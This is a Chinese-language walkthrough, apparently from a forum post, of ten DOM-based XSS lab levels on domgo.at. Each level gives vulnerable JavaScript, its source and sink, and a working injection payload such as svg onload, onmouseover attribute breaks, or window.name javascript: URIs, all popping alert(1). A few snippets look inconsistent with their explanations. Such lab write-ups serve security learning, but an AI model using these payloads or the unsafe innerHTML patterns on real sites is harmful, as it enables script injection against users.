XSS靶机实践

Level 1

let hash = location.hash;
if (hash.length > 1) {
    let hashValueToUse = unescape(hash.substr(1));
    let msg = "Welcome " + hashValueToUse + "!!";
    document.getElementById("msgboard").innerHTML = msg;
}

Sink: innerHTML

Source: location.hash

Solution: <svg/onload=alert(1)>

Level 2

let rfr = document.referrer;
let paramValue = unescape(getPayloadParamValueFromUrl(rfr));
if (paramValue.length > 0) {
    let msg = "Welcome <b>" + paramValue + "</b>!!";
    document.getElementById("msgboard").innerHTML = msg;
} else {
    document.getElementById("msgboard").innerHTML = "Parameter named <b>payload</b> was not found in the referrer.";
}

Sink: innerHTML

Source: document.referrer

Solution: https://domgo.at/cxss/example/1?payload=%3Csvg/onload=alert(1)%3E&sp=x#12345
图片说明
先访问这个url然后点击example 2的链接。payload在referrer里。

Level 3

let responseBody = xhr.responseText;
let responeBodyObject = JSON.parse(responseBody);
let msg = "Welcome <b>" + responeBodyObject.payload + "</b>!!";
document.getElementById("msgboard").innerHTML = msg;

Sink: innerHTML

Source: Ajax

Solution: <img src=xx onerror=#alert(1)>去掉alert前的#

Ajax请求的response在客户端浏览器解析,并直接写在innerHTML的DOM中。(牛客的markdown有问题)

Level 4:

let ws = new WebSocket(webSocketUrl);
ws.onmessage = function (evt) {

    let rawMsg = evt.data;
    let msgJson = JSON.parse(rawMsg);
    let msg = "Welcome <b>" + msgJson.payload + "</b>!!";
    document.getElementById("msgboard").innerHTML = msg;
};

Sink: innerHTML
Source: Web Sockets
Solution: 去掉alert前的#
Web socket的response在客户端解析后直接写入DOM。

Level 5

window.onmessage = function (evt) {
let msgObj = evt.data;
let msg = "Welcome " + msgObj.payload + "!!";
document.getElementById("msgboard").innerHTML = msg;
};
Sink: innerHTML
Source: Post message
Solution: 去掉alert前的#
HTML5 post message data直接写入DOM

牛客上markdown编辑器是否应该使用白名单,以防客户端xss,比如去掉alert前的#
markdown编辑器的xss漏洞:https://www.freebuf.com/articles/web/58687.html

Level 6

let payloadValue = localStorage.getItem("payload", payload);
let msg = "Welcome " + payload + "!!";
document.getElementById("msgboard").innerHTML = msg;

Sink: innerHTML
Source: localStorage
Solution:
LocalStorage的数据在解析后写在DOM里。

Level 7

let hash = location.hash;
let hashValueToUse = hash.length > 1 ? unescape(hash.substr(1)) : hash;
hashValueToUse = hashValueToUse.replace(/</g, "<").replace(/>/g, ">");
let msg = "Welcome!!";
document.getElementById("msgboard").innerHTML = msg;
Sink: innerHTML
Source: location.hash
Solution: #'%20onmouseover=alert(1)//
location.hash的值未经处理直接写入href。单引号闭合后加上on*事件即可。

Level 8

let hash = location.hash;
let hashValueToUse = hash.length > 1 ? unescape(hash.substr(1)) : hash;
if (hashValueToUse.indexOf("=") > -1 ) {
    hashValueToUse = hashValueToUse.substr(hashValueToUse.indexOf("=")+1);
    hashValueToUse = hashValueToUse.replace(/</g, "&lt;").replace(/>/g, "&gt;");
    let msg = "<a href='#user=" + hashValueToUse + "'>Welcome</a>!!";
    document.getElementById("msgboard").innerHTML = msg;
}

Sink: innerHTML
Source: location.hash
Solution: #='%20onmouseover=alert(1)//
写在等号后的会被写入DOM作为href标签的一部分。使用on*事件即可。

Level 9

let hash = location.hash;
let hashValueToUse = hash.length > 1 ? unescape(hash.substr(1)) : hash;
if (hashValueToUse.indexOf("=") > -1 ) { 
    hashValueToUse = hashValueToUse.substr(hashValueToUse.indexOf("=") + 1);
    if (hashValueToUse.length > 1) {
        hashValueToUse = hashValueToUse.substr(0, 10);
        hashValueToUse = hashValueToUse.replace(/"/g, "&quot;");
        let windowValueToUse = window.name.replace(/"/g, "&quot;");
        let msg = "<a href=\"" + hashValueToUse + windowValueToUse + "\">Welcome</a>!!";
        document.getElementById("msgboard").innerHTML = msg;
    }
}

Sink: innerHTML
Source: window.name + location.hash
Solution:

<script>
var victim= window.open('https://domgo.at/cxss/example/9#user=javascript', ':alert(1)');
</script>
# Level 10:

let urlParts = location.href.split("?");
if (urlParts.length > 1) {
let queryString = urlParts[1];
let queryParts = queryString.split("&");
let userId = "";
for (let i = 0; i < queryParts.length; i++) {
let keyVal = queryParts[i].split("=");
if (keyVal.length > 1) {
if (keyVal[0] === "user") {

            userId = keyVal[1];
            break;
        }
    }
}
if (userId.startsWith("ID-")) {

    userId = userId.substr(3, 10);
    userId = userId.replace(/"/g, "&quot;");
    let windowValueToUse = window.name.replace(/"/g, "&quot;");
    let msg = "<a href=\"" + userId + windowValueToUse + "\">Welcome</a>!!";
    document.getElementById("msgboard").innerHTML = msg;
}

}

Sink: innerHTML
Source: window.name + user (GET parameter)
Solution:
<script>
var victim= window.open('https://domgo.at/cxss/example/10?lang=en&user=ID-javascript', ':alert(1)');
</script>

Here, the value of GET parameter user is extracted and written into the DOM along with the window.name property inside an href tag. Since we are dealing with URL context, we can inject javascript: URI just like the last challenge.

全部评论

相关推荐

不愿透露姓名的神秘牛友
11-27 10:28
点赞 评论 收藏
分享
废铁汽车人:秋招真是牛鬼蛇神齐聚一堂
点赞 评论 收藏
分享
评论
点赞
收藏
分享
牛客网
牛客企业服务